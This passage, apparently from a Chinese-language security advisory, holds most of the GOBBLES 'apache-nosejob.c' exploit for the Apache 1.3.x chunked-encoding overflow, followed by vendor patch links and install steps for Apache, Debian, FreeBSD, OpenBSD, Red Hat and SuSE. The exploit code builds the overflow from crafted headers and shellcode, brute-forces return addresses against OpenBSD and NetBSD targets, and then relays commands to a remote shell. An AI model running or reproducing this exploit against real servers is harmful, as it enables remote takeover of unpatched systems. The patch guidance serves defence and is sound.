    { "OpenBSD 3.1 x86 / Apache 1.3.20",         -146,    0x8f2a6,   6, 36 },
    { "OpenBSD 3.1 x86 / Apache 1.3.23",         -146,    0x90600,   6, 36 },
    { "OpenBSD 3.1 x86 / Apache 1.3.24",         -146,    0x9011a,   6, 36 },
    { "OpenBSD 3.1 x86 / Apache 1.3.24 #2",         -146,    0x932ae,   6, 36 },
    { "OpenBSD 3.1 x86 / Apache 1.3.24 PHP 4.2.1", -146,    0x1d7a00,  6, 36 },
    { "NetBSD 1.5.2 x86 / Apache 1.3.12 (Unix)",     -90,    0x80eda00,  5, 42 },
    { "NetBSD 1.5.2 x86 / Apache 1.3.20 (Unix)",      -90,   0x80efa00,  5, 42 },
    { "NetBSD 1.5.2 x86 / Apache 1.3.22 (Unix)",      -90,   0x80efa00,  5, 42 },    
    { "NetBSD 1.5.2 x86 / Apache 1.3.23 (Unix)",     -90,    0x80efa00,  5, 42 },
    { "NetBSD 1.5.2 x86 / Apache 1.3.24 (Unix)",     -90,    0x80efa00,  5, 42 },
}, victim;



void usage(void) {
    int i;

    printf("GOBBLES Security Labs\t\t\t\t\t- apache-nosejob.c\n\n");
    printf("Usage: ./apache-nosejob <-switches> -h host[:80]\n");
    printf("  -h host[:port]\tHost to penetrate\n");
    printf("  -t #\t\t\tTarget id.\n");
    printf("  Bruteforcing options (all required, unless -o is used!):\n");
    printf("  -o char\t\tDefault values for the following OSes\n");
    printf("  \t\t\t(f)reebsd, (o)penbsd, (n)etbsd\n");
    printf("  -b 0x12345678\t\tBase address used for bruteforce\n");
    printf("  \t\t\tTry 0x80000/obsd, 0x80a0000/fbsd, 0x080e0000/nbsd.\n");
    printf("  -d -nnn\t\tmemcpy() delta between s1 and addr to overwrite\n");
    printf("  \t\t\tTry -146/obsd, -150/fbsd, -90/nbsd.\n");
    printf("  -z #\t\t\tNumbers of time to repeat \\0 in the buffer\n");
    printf("  \t\t\tTry 36 for openbsd/freebsd and 42 for netbsd\n");
    printf("  -r #\t\t\tNumber of times to repeat retadd in the buffer\n");
    printf("  \t\t\tTry 6 for openbsd/freebsd and 5 for netbsd\n");
    printf("  Optional stuff:\n");
    printf("  -w #\t\t\tMaximum number of seconds to wait for shellcode reply\n");
    printf("  -c cmdz\t\tCommands to execute when our shellcode replies\n");
    printf("  \t\t\taka auto0wncmdz\n");
    printf("\nExamples will be published in upcoming apache-scalp-HOWTO.pdf\n");
    printf("\n--- --- - Potential targets list - --- ---- ------- ------------\n");
    printf(" ID / Return addr / Target specification\n");
    for(i = 0; i < sizeof(targets)/sizeof(victim); i++)
        printf("% 3d /  0x%.8lx / %s\n", i, targets[i].retaddr, targets[i].type);

    exit(1);
}


int main(int argc, char *argv[]) {
    char *hostp, *portp, *cmdz = DEFAULT_CMDZ;
    u_char buf[512], *expbuf, *p;
    int i, j, lport, sock;
    int bruteforce, owned, progress, sc_timeout = 5;
    int responses, shown_length = 0;
    struct in_addr ia;
    struct sockaddr_in sin, from;
    struct hostent *he;


    if(argc < 4)
        usage();

    bruteforce = 0;
    memset(&victim, 0, sizeof(victim));
    while((i = getopt(argc, argv, "t:b:d:h:w:c:r:z:o:")) != -1) {
        switch(i) {
            /* required stuff */
            case 'h':
            hostp = strtok(optarg, ":");
            if((portp = strtok(NULL, ":")) == NULL)
                portp = "80";
            break;

            /* predefined targets */
            case 't':
            if(atoi(optarg) >= sizeof(targets)/sizeof(victim)) {
                printf("Invalid target\n");
                return -1;
            }

            memcpy(&victim, &targets[atoi(optarg)], sizeof(victim));
            break;

            /* bruteforce! */
            case 'b':
            bruteforce++;
            victim.type = "Custom target";
            victim.retaddr = strtoul(optarg, NULL, 16);
            printf("Using 0x%lx as the baseadress while bruteforcing..\n", victim.retaddr);
            break;

            case 'd':
            victim.delta = atoi(optarg);
            printf("Using %d as delta\n", victim.delta);
            break;

            case 'r':
            victim.repretaddr = atoi(optarg);
            printf("Repeating the return address %d times\n", victim.repretaddr);
            break;

            case 'z':
            victim.repzero = atoi(optarg);
            printf("Number of zeroes will be %d\n", victim.repzero);
            break;

            case 'o':
            bruteforce++;
            switch(*optarg) {
                case 'f':
                victim.type = "FreeBSD";
                victim.retaddr = 0x80a0000;
                victim.delta = -150;
                victim.repretaddr = 6;
                victim.repzero = 36;
                break;

                case 'o':
                victim.type = "OpenBSD";
                victim.retaddr = 0x80000;
                victim.delta = -146;
                victim.repretaddr = 6;
                victim.repzero = 36;
                break;

                case 'n':
                victim.type = "NetBSD";
                victim.retaddr = 0x080e0000;
                victim.delta = -90;
                victim.repretaddr = 5;
                victim.repzero = 42;
                break;

                default:
                printf("[-] Better luck next time!\n");
                break;
            }
            break;

            /* optional stuff */
            case 'w':
            sc_timeout = atoi(optarg);
            printf("Waiting maximum %d seconds for replies from shellcode\n", sc_timeout);
            break;

            case 'c':
            cmdz = optarg;
            break;

            default:
            usage();
            break;
        }
    }

    if(!victim.delta || !victim.retaddr || !victim.repretaddr || !victim.repzero) {
        printf("[-] Incomplete target. At least 1 argument is missing (nmap style!!)\n");
        return -1;
    }

    printf("[*] Resolving target host.. ");
    fflush(stdout);
    he = gethostbyname(hostp);
    if(he)
        memcpy(&ia.s_addr, he->h_addr, 4);
    else if((ia.s_addr = inet_addr(hostp)) == INADDR_ANY) {
        printf("There'z no %s on this side of the Net!\n", hostp);
        return -1;
    }

    printf("%s\n", inet_ntoa(ia));


    srand(getpid());
    signal(SIGPIPE, SIG_IGN);
    for(owned = 0, progress = 0;;victim.retaddr += RET_ADDR_INC) {
        /* skip invalid return adresses */
        if(memchr(&victim.retaddr, 0x0a, 4) || memchr(&victim.retaddr, 0x0d, 4))
            continue;


        sock = socket(PF_INET, SOCK_STREAM, 0);
        sin.sin_family = PF_INET;
        sin.sin_addr.s_addr = ia.s_addr;
        sin.sin_port = htons(atoi(portp));
        if(!progress)
            printf("[*] Connecting.. ");

        fflush(stdout);
        if(connect(sock, (struct sockaddr *) & sin, sizeof(sin)) != 0) {
            perror("connect()");
            exit(1);
        }

        if(!progress)
            printf("connected!\n");


        p = expbuf = malloc(8192 + ((PADSIZE_3 + NOPCOUNT + 1024) * REP_SHELLCODE)
                    + ((PADSIZE_1 + (victim.repretaddr * 4) + victim.repzero
                    + 1024) * REP_POPULATOR));

        PUT_STRING("GET / HTTP/1.1\r\nHost: " HOST_PARAM "\r\n");

        for (i = 0; i < REP_SHELLCODE; i++) {
            PUT_STRING("X-");
            PUT_BYTES(PADSIZE_3, PADDING_3);
            PUT_STRING(": ");
            PUT_BYTES(NOPCOUNT, NOP);
            memcpy(p, shellcode, sizeof(shellcode) - 1);
            p += sizeof(shellcode) - 1;
            PUT_STRING("\r\n");
        }

        for (i = 0; i < REP_POPULATOR; i++) {
            PUT_STRING("X-");
            PUT_BYTES(PADSIZE_1, PADDING_1);
            PUT_STRING(": ");
            for (j = 0; j < victim.repretaddr; j++) {
                *p++ = victim.retaddr & 0xff;
                *p++ = (victim.retaddr >> 8) & 0xff;
                *p++ = (victim.retaddr >> 16) & 0xff;
                *p++ = (victim.retaddr >> 24) & 0xff;
            }

            PUT_BYTES(victim.repzero, 0);
            PUT_STRING("\r\n");
        }

        PUT_STRING("Transfer-Encoding: chunked\r\n");
        snprintf(buf, sizeof(buf) - 1, "\r\n%x\r\n", PADSIZE_2);
        PUT_STRING(buf);
        PUT_BYTES(PADSIZE_2, PADDING_2);
        snprintf(buf, sizeof(buf) - 1, "\r\n%x\r\n", victim.delta);
        PUT_STRING(buf);
        
        if(!shown_length) {
            printf("[*] Exploit output is %u bytes\n", (unsigned int)(p - expbuf));
            shown_length = 1;
        }
        
        write(sock, expbuf, p - expbuf);

        progress++;
        if((progress%70) == 0)
            progress = 1;

        if(progress == 1) {
            printf("\r[*] Currently using retaddr 0x%lx", victim.retaddr);
            for(i = 0; i < 40; i ++)
                printf(" ");
            printf("\n");
            if(bruteforce)
                putchar(';');
        }
        else
            putchar(((rand()>>8)%2)? 'P': 'p');


        fflush(stdout);
        responses = 0;
        while (1) {
            fd_set          fds;
            int             n;
            struct timeval  tv;

            tv.tv_sec = sc_timeout;
            tv.tv_usec = 0;

            FD_ZERO(&fds);
            FD_SET(0, &fds);
            FD_SET(sock, &fds);
    
            memset(buf, 0, sizeof(buf));
            if(select(sock + 1, &fds, NULL, NULL, owned? NULL : &tv) > 0) {
                if(FD_ISSET(sock, &fds)) {
                    if((n = read(sock, buf, sizeof(buf) - 1)) < 0)
                        break;

                    if(n >= 1)
                    {
                        if(!owned)
                        {
                            for(i = 0; i < n; i ++)
                                if(buf[i] == 'G')
                                    responses ++;
                                else
                                    responses = 0;
                            if(responses >= 2)
                            {
                                owned = 1;
                                write(sock, "O", 1);
                                write(sock, cmdz, strlen(cmdz));
                                printf(" it's a TURKEY: type=%s, delta=%d, retaddr=0x%lx, repretaddr=%d, repzero=%d\n", victim.type, victim.delta, victim.retaddr, victim.repretaddr, victim.repzero);
                                printf("Experts say this isn't exploitable, so nothing will happen now: ");
                                fflush(stdout);
                            }
                        } else
                              write(1, buf, n);
                      }
                }

                if(FD_ISSET(0, &fds)) {
                    if((n = read(0, buf, sizeof(buf) - 1)) < 0)
                        exit(1);

                    write(sock, buf, n);
                }

            }

            if(!owned)
                break;
        }

        free(expbuf);
        close(sock);

        if(owned)
            return 0;

        if(!bruteforce) {
            fprintf(stderr, "Ooops.. hehehe!\n");
            return -1;
        }
    }

    return 0;
}



--------------------------------------------------------------------------------
建议:

临时解决方法:

此安全漏洞没有好的临时解决方案,由于已经有一个有效的攻击代码被发布,我们建议您立刻升级到Apache最新版本。

厂商补丁:

Apache Group
------------
Apache Group已经为此发布了一个安全公告(SB-20020617)以及相应的升级程序:
SB-20020617:Apache httpd: vulnerability with chunked encoding
链接:http://httpd.apache.org/info/security_bulletin_20020617.txt

您可以在下列地址下载最新版本:

Apache 1.3.26:
Apache 2.0.39:
http://www.apache.org/dist/httpd/

Debian
------
Debian已经为此发布了一个安全公告(DSA-131-1)以及相应补丁:
DSA-131-1:Apache chunk handling vulnerability
链接:http://www.debian.org/security/2002/dsa-131

补丁下载:
Source archives:
http://security.debian.org/dists/stable/updates/main/source/apache_1.3.9-14.1.diff.gz
http://security.debian.org/dists/stable/updates/main/source/apache_1.3.9-14.1.dsc
http://security.debian.org/dists/stable/updates/main/source/apache_1.3.9.orig.tar.gz

Architecture independent archives:
http://security.debian.org/dists/stable/updates/main/binary-all/apache-doc_1.3.9-14.1_all.deb

Alpha architecture:
http://security.debian.org/dists/stable/updates/main/binary-alpha/apache-common_1.3.9-14.1_alpha.deb
http://security.debian.org/dists/stable/updates/main/binary-alpha/apache-dev_1.3.9-14.1_alpha.deb
http://security.debian.org/dists/stable/updates/main/binary-alpha/apache_1.3.9-14.1_alpha.deb

ARM architecture:
http://security.debian.org/dists/stable/updates/main/binary-arm/apache-common_1.3.9-14.1_arm.deb
http://security.debian.org/dists/stable/updates/main/binary-arm/apache-dev_1.3.9-14.1_arm.deb
http://security.debian.org/dists/stable/updates/main/binary-arm/apache_1.3.9-14.1_arm.deb

Intel IA-32 architecture:
http://security.debian.org/dists/stable/updates/main/binary-i386/apache-common_1.3.9-14.1_i386.deb
http://security.debian.org/dists/stable/updates/main/binary-i386/apache-dev_1.3.9-14.1_i386.deb
http://security.debian.org/dists/stable/updates/main/binary-i386/apache_1.3.9-14.1_i386.deb

Motorola 680x0 architecture:
http://security.debian.org/dists/stable/updates/main/binary-m68k/apache-common_1.3.9-14.1_m68k.deb
http://security.debian.org/dists/stable/updates/main/binary-m68k/apache-dev_1.3.9-14.1_m68k.deb
http://security.debian.org/dists/stable/updates/main/binary-m68k/apache_1.3.9-14.1_m68k.deb

PowerPC architecture:
http://security.debian.org/dists/stable/updates/main/binary-powerpc/apache-common_1.3.9-14.1_powerpc.deb
http://security.debian.org/dists/stable/updates/main/binary-powerpc/apache-dev_1.3.9-14.1_powerpc.deb
http://security.debian.org/dists/stable/up


补丁安装方法:

1. 手工安装补丁包:

  首先,使用下面的命令来下载补丁软件:
  # wget url  (url是补丁下载链接地址)

  然后,使用下面的命令来安装补丁:  
  # dpkg -i file.deb (file是相应的补丁名)

2. 使用apt-get自动安装补丁包:

   首先,使用下面的命令更新内部数据库:
   # apt-get update
  
   然后,使用下面的命令安装更新软件包:
   # apt-get upgrade

FreeBSD
-------
FreeBSD已经为此发布了一个安全公告(FreeBSD-SN-02:04)以及相应补丁:
FreeBSD-SN-02:04:security issues in ports
链接:ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SN-02:04 .asc

为了升级一个修复后的port包,可以采用下列两种方法中的任意一种:

1) 更新您的“Ports Collection”,然后重建、重新安装port.您可以使用下列几个工具来使升级工作更简单:

  /usr/ports/devel/portcheckout
  /usr/ports/misc/porteasy
  /usr/ports/sysutils/portupgrade

2) 卸载旧的port软件包,从下列地址获取并安装一个新的包:

[i386]
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-stable/All/

OpenBSD
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.1/common/005_httpd.patch

更多信息可以参考如下链接:
http://www.openbsd.org/errata.html#httpd

RedHat
------
RedHat已经为此发布了一个安全公告(RHSA-2002:103-13)以及相应补丁:
RHSA-2002:103-13:Updated Apache packages fix chunked encoding issue
链接:https://www.redhat.com/support/errata/RHSA-2002-103.html

补丁下载:
Red Hat Linux 6.2:

SRPMS:
ftp://updates.redhat.com/6.2/en/os/SRPMS/apache-1.3.22-5.6.src.rpm

alpha:
ftp://updates.redhat.com/6.2/en/os/alpha/apache-1.3.22-5.6.alpha.rpm
ftp://updates.redhat.com/6.2/en/os/alpha/apache-devel-1.3.22-5.6.alpha.rpm
ftp://updates.redhat.com/6.2/en/os/alpha/apache-manual-1.3.22-5.6.alpha.rpm

i386:
ftp://updates.redhat.com/6.2/en/os/i386/apache-1.3.22-5.6.i386.rpm
ftp://updates.redhat.com/6.2/en/os/i386/apache-devel-1.3.22-5.6.i386.rpm
ftp://updates.redhat.com/6.2/en/os/i386/apache-manual-1.3.22-5.6.i386.rpm

sparc:
ftp://updates.redhat.com/6.2/en/os/sparc/apache-1.3.22-5.6.sparc.rpm
ftp://updates.redhat.com/6.2/en/os/sparc/apache-devel-1.3.22-5.6.sparc.rpm
ftp://updates.redhat.com/6.2/en/os/sparc/apache-manual-1.3.22-5.6.sparc.rpm

Red Hat Linux 7.0:

SRPMS:
ftp://updates.redhat.com/7.0/en/os/SRPMS/apache-1.3.22-5.7.1.src.rpm

alpha:
ftp://updates.redhat.com/7.0/en/os/alpha/apache-1.3.22-5.7.1.alpha.rpm
ftp://updates.redhat.com/7.0/en/os/alpha/apache-devel-1.3.22-5.7.1.alpha.rpm
ftp://updates.redhat.com/7.0/en/os/alpha/apache-manual-1.3.22-5.7.1.alpha.rpm

i386:
ftp://updates.redhat.com/7.0/en/os/i386/apache-1.3.22-5.7.1.i386.rpm
ftp://updates.redhat.com/7.0/en/os/i386/apache-devel-1.3.22-5.7.1.i386.rpm
ftp://updates.redhat.com/7.0/en/os/i386/apache-manual-1.3.22-5.7.1.i386.rpm

Red Hat Linux 7.1:

SRPMS:
ftp://updates.redhat.com/7.1/en/os/SRPMS/apache-1.3.22-5.7.1.src.rpm

alpha:
ftp://updates.redhat.com/7.1/en/os/alpha/apache-1.3.22-5.7.1.alpha.rpm
ftp://updates.redhat.com/7.1/en/os/alpha/apache-devel-1.3.22-5.7.1.alpha.rpm
ftp://updates.redhat.com/7.1/en/os/alpha/apache-manual-1.3.22-5.7.1.alpha.rpm

i386:
ftp://updates.redhat.com/7.1/en/os/i386/apache-1.3.22-5.7.1.i386.rpm
ftp://updates.redhat.com/7.1/en/os/i386/apache-devel-1.3.22-5.7.1.i386.rpm
ftp://updates.redhat.com/7.1/en/os/i386/apache-manual-1.3.22-5.7.1.i386.rpm

ia64:
ftp://updates.redhat.com/7.1/en/os/ia64/apache-1.3.22-5.7.1.ia64.rpm
ftp://updates.redhat.com/7.1/en/os/ia64/apache-devel-1.3.22-5.7.1.ia64.rpm
ftp://updates.redhat.com/7.1/en/os/ia64/apache-manual-1.3.22-5.7.1.ia64.rpm

Red Hat Linux 7.2:

SRPMS:
ftp://updates.redhat.com/7.2/en/os/SRPMS/apache-1.3.22-6.src.rpm

i386:
ftp://updates.redhat.com/7.2/en/os/i386/apache-1.3.22-6.i386.rpm
ftp://updates.redhat.com/7.2/en/os/i386/apache-devel-1.3.22-6.i386.rpm
ftp://updates.redhat.com/7.2/en/os/i386/apache-manual-1.3.22-6.i386.rpm

ia64:
ftp://updates.redhat.com/7.2/en/os/ia64/apache-1.3.22-6.ia64.rpm
ftp://updates.redhat.com/7.2/en/os/ia64/apache-devel-1.3.22-6.ia64.rpm
ftp://updates.redhat.com/7.2/en/os/ia64/apache-manual-1.3.22-6.ia64.rpm

Red Hat Linux 7.3:

SRPMS:
ftp://updates.redhat.com/7.3/en/os/SRPMS/apache-1.3.23-14.src.rpm

i386:
ftp://updates.redhat.com/7.3/en/os/i386/apache-1.3.23-14.i386.rpm
ftp://updates.redhat.com/7.3/en/os/i386/apache-devel-1.3.23-14.i386.rpm
ftp://updates.redhat.com/7.3/en/os/i386/apache-manual-1.3.23-14.i386.rpm
可使用下列命令安装补丁:

rpm -Fvh [文件名]

S.u.S.E.
--------
S.u.S.E.已经为此发布了一个安全公告(SuSE-SA:2002:022)以及相应补丁:
SuSE-SA:2002:022:apache
链接:http://www.suse.com/de/support/security/2002_022_apache.html

补丁下载:
i386 Intel Platform:

SuSE-8.0
ftp://ftp.suse.com/pub/suse/i386/update/8.0/n2/apache-1.3.23-120.i386.patch.rpm
ftp://ftp.suse.com/pub/suse/i386/update/8.0/n2/apache-1.3.23-120.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/8.0/n3/apache-devel-1.3.23-120.i386.patch.rpm
ftp://ftp.suse.com/pub/suse/i386/update/8.0/n3/apache-devel-1.3.23-120.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/8.0/n3/apache-doc-1.3.23-120.i386.patch.rpm
ftp://ftp.suse.com/pub/suse/i386/update/8.0/n3/apache-doc-1.3.23-120.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/8.0/sec2/mod_ssl-2.8.7-88.i386.patch.rpm
ftp://ftp.suse.com/pub/suse/i386/update/8.0/sec2/mod_ssl-2.8.7-88.i386.rpm
source rpm:
ftp://ftp.suse.com/pub/suse/i386/update/8.0/zq1/apache-1.3.23-120.src.rpm

SuSE-7.3
ftp://ftp.suse.com/pub/suse/i386/update/7.3/n2/apache-1.3.20-66.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/7.3/n2/apache-devel-1.3.20-66.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/7.3/n2/apache-doc-1.3.20-66.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/7.3/sec2/mod_ssl-2.8.4-66.i386.rpm
source rpm:
ftp://ftp.suse.com/pub/suse/i386/update/7.3/zq1/apache-1.3.20-66.src.rpm

SuSE-7.2
ftp://ftp.suse.com/pub/suse/i386/update/7.2/n2/apache-1.3.19-116.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/7.2/n2/apache-devel-1.3.19-116.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/7.2/n2/apache-doc-1.3.19-116.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/7.2/sec2/mod_ssl-2.8.3-56.i386.rpm
source rpm:
ftp://ftp.suse.com/pub/suse/i386/update/7.2/zq1/apache-1.3.19-116.src.rpm

SuSE-7.1
ftp://ftp.suse.com/pub/suse/i386/update/7.1/n2/apache-1.3.19-115.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/7.1/sec2/mod_ssl-2.8.1-0.i386.rpm
source rpm:
ftp://ftp.suse.com/pub/suse/i386/update/7.1/zq1/apache-1.3.19-115.src.rpm

SuSE-7.0
ftp://ftp.suse.com/pub/suse/i386/update/7.0/n1/apache-1.3.19-115.i386.rpm
ftp://ftp.suse.de/pub/suse/i386/update/7.0/sec1/mod_ssl-2.8.2-33.i386.rpm
source rpm:
ftp://ftp.suse.com/pub/suse/i386/update/7.0/zq1/apache-1.3.19-115.src.rpm

SuSE-6.4
ftp://ftp.suse.com/pub/suse/i386/update/6.4/n1/apache-1.3.19-115.i386.rpm
ftp://ftp.suse.de/pub/suse/i386/update/6.4/sec1/mod_ssl-2.8.1-0.i386.rpm
source rpm:
ftp://ftp.suse.com/pub/suse/i386/update/6.4/zq1/apache-1.3.19-115.src.rpm


PPC Platform:

SuSE-7.3
ftp://ftp.suse.com/pub/suse/ppc/update/7.3/n2/apache-1.3.20-52.ppc.rpm
ftp://ftp.suse.com/pub/suse/ppc/update/7.3/n2/apache-devel-1.3.20-52.ppc.rpm
ftp://ftp.suse.com/pub/suse/ppc/update/7.3/n2/apache-doc-1.3.20-52.ppc.rpm
ftp://ftp.suse.com/pub/suse/ppc/update/7.3/sec2/mod_ssl-2.8.4-52.ppc.rpm
source rpm:
ftp://ftp.suse.com/pub/suse/ppc/update/7.3/zq1/apache-1.3.20-52.src.rpm

SuSE-7.1
ftp://ftp.suse.com/pub/suse/ppc/update/7.1/n2/apache-1.3.19-56.ppc.rpm
ftp://ftp.suse.com/pub/suse/ppc/update/7.1/sec2/mod_ssl-2.8.1-0.ppc.rpm
source rpm:
ftp://ftp.suse.com/pub/suse/ppc/update/7.1/zq1/apache-1.3.19-56.src.rpm

SuSE-7.0
ftp://ftp.suse.com/pub/suse/ppc/update/7.0/n1/apache-1.3.19-56.ppc.rpm
ftp://ftp.suse.de/pub/suse/ppc/update/7.0/sec1/mod_ssl-2.8.2-15.ppc.rpm
source rpm:
ftp://ftp.suse.com/pub/suse/ppc/update/7.0/zq1/apache-1.3.19-56.src.rpm

SuSE-6.4
ftp://ftp.suse.com/pub/suse/ppc/update/6.4/n1/apache-1.3.19-56.ppc.rpm
ftp://ftp.suse.de/pub/suse/ppc/update/6.4/sec1/mod_ssl-2.8.1-0.ppc.rpm
source rpm:
ftp://ftp.suse.com/pub/suse/ppc/update/6.4/zq1/apache-1.3.19-56.src.rpm

补丁安装方法:

用“rpm -Fhv file.rpm”命令安装文件。
版权所有,未经许可,不得转载